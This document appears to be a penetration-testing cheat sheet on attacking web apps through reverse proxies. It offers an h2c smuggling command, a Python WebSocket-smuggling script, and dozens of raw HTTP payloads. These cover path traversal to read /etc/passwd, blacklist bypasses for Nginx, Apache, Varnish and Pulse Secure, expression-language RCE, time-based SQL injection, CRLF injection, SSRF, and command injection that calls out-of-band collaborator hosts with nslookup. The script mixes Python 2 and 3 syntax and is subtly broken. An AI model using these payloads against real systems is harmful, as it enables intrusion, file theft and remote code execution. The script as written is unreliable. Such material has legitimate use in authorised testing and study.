Secondary context refers to the different ways a web application can handle and process requests indirectly related to the main content. This often involves proxies, back-end servers, and intermediate services that might introduce additional security risks.
Steps to produce :-
1 - Collect All The Endpoints
2 - Put It In File Called e.g. url.txt
3 - Open Your Terminal
4 - Write This Command python3 h2csmuggler.py --scan-list url.txt --threads 5
Smuggling WebSockets
Smuggler Websocket Endpoints
import socket
req1 = '''GET /ُEndpoint-To-Proxy/ HTTP/1.1
Host: company.com
Sec-WebSocket-Version: 1337
Upgrade: websocket
'''.replace('\n', '\r\n')
req2 = '''GET /Internal-Endpoint HTTP/1.1
Host: localhost:PORT
'''.replace('\n', '\r\n')
def main(netloc):
host, port = netloc.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))
sock.sendall(req1)
sock.recv(4096)
sock.sendall(req2)
data = sock.recv(4096)
data = data.decode(errors='ignore')
print data
sock.shutdown(socket.SHUT_RDWR)
sock.close()
-----------------------------------------------------------------------------
Steps to produce :-
1 - Open Your Terminal
2 - Write This Command
python3 websocket-smuggler.py
If There Is Nginx As Reverse Proxy AND Weblogic As Backend Try To Use /#/../ To Change Route Of Endpoints
GET /Endpoint-To-Proxy/#/../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
---------------------------------------
GET /../../../../../../../etc/passwd;/../Endpoint-To-Proxy HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
---------------------------------------
GET /Endpoint-To-Proxy../../../../../../../etc/passwd HTTP/1.1
Host: www.company.com
--------------------------------------------
GET /Endpoint-To-Proxy/..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
------------------------------------------
Try To Inject \..\.\..\.\..\.\..\.\..\.\..\.\Internal-Endpoint OR
\..\..\..\.\..\..\Internal-Endpoint\..\..\..\..\..\etc\passwd%3F.js
GET /Endpoint-To-Proxy\..\.\..\.\..\.\..\.\Internal-Endpoint HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
---------------------------------------------
Let’s Assume There Is Routing To Pulse Secure SSL VPN So ,
Try To Inject To Get File etc/hosts
GET /Endpoint-To-Proxy/dana-na/../dana/html5acc/guacamole/../
../../../../../etc/hosts?/dana/html5acc/guacamole/# HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
----------------------------------------------------
s Apache As Reverse Proxy Try To Use /..// To Change Route Of Endpoints
GET /Endpoint-To-Proxy/..//../../../../../../etc/passwd HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
--------------------------------------------------
If There Is Apache As Reverse Proxy Try To Use %3F To Bypass Blacklist Of
Endpoints
GET /Endpoint-To-Proxy/.git%3FAllowed HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
------------------------------------------------
If There Is Nginx As Reverse Proxy
AND Apache As Backend Try To Use //../ To Change Route Of Endpoints
GET /Endpoint-To-Proxy/../../../../../../../etc/passwd//../ HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
-------------------------------------------------------
If There Is Nginx As Reverse Proxy Try To Use ..;/ To Bypass Blacklist Of Endpoints
OR Bypass CORS
GET /Endpoint-To-Proxy/..;/../../../../../../etc/passwd HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
---------------------------------------
GET /../../../../etc/passwd/..;/Endpoint-To-Proxy HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
----------------------------------------
GeT /Endpoint-To-Proxy/../../../../../../etc/passwd HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
------------------------------------------
# If There Is Varnish As Reverse Proxy
GeT /Endpoint-To-Proxy/../../../../../../etc/passwd HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
------------------------------------------
# If There Is Haproxy OR Varnish As Reverse Proxy
GET http://company.com/Endpoints-To-Proxy/.git HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
-------------------------------------
GET /Endpoint-To-Proxy/(${T(java.lang.Runtime).
getRuntime().exec('nslookup id.burpcollaborator.net')}) HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
SQLi
GET /Endpoint-To-Proxy/
'xor(if(mid(database(),1,1)=0x41,sleep(30),0))or HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
GET /Endpoint-To-Proxy/
'xor(if(mid(database(),1,1)=0x41,sleep(30),0))or HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
CRLF
POST /Endpoint-To-Proxy HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Origin: https://www.company.com
Content-Type: application/json
Content-Length: Number
{
"parameter":"value%0A%01%09Host:%20id.burpcollaborator.net"
}
Paameter Manipulation
Assume Backend Endpoint Take Value Of One Parameter As Path So Inject Encode , Double OR Triple URL Encoding ;@me.com , @me.com OR :@me.com To Get SSRF
POST /Endpoint-To-Proxy HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Origin: https://www.company.com
Content-Type: application/json
Content-Length: Number
{
"parameter":";@RandomString(10).id.burpcollaborator.net"
}
Assume Backend Endpoint Take Value Of One Parameter As Rewrite Configuration e.g. rewrite ^.*$ $arg_parameter; So Inject e.g. LFI Payloads To Get e.g. LFI
POST /Endpoint-To-Proxy HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Origin: https://www.company.com
Content-Type: application/json
Content-Length: Number
{ "parameter":"../../../../../../../../../../../../etc/passwd" }
RCE
POST /Endpoint-To-Proxy HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Origin: https://www.company.com
Content-Type: application/json
Content-Length: Number
{"parameter":"${nslookup id.burpcollaborator.net}"}
POST /Endpoint-To-Proxy HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Origin: https://www.company.com
Content-Type: application/json
Content-Length: Number
{
"parameter":"&nslookup me.com&'\"`0&nslookup me.com&`'"
}
